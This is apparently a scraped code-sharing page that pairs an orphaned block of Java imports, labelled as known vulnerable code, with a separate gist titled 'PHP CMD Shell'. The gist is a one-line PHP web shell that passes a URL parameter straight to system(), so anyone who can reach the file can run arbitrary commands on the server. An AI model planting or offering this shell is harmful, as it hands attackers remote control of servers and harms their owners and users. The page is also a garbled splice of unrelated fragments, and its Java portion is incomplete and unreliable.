Skip to content

Instantly share code, notes, and snippets.

// Known Vulnerable Code - DO NOT USE in production
import java.io.IOException;
import java.sql.Connection;
import java.sql.DriverManager;
import java.sql.ResultSet;
import java.sql.SQLException;
import java.sql.Statement;
import java.util.Base64;
import javax.crypto.Cipher;
import javax.crypto.KeyGenerator;
@tr4nc3
tr4nc3 / cmdshell.php
Created May 16, 2026 06:46
PHP CMD Shell
<?php system($_GET['cmd']);?>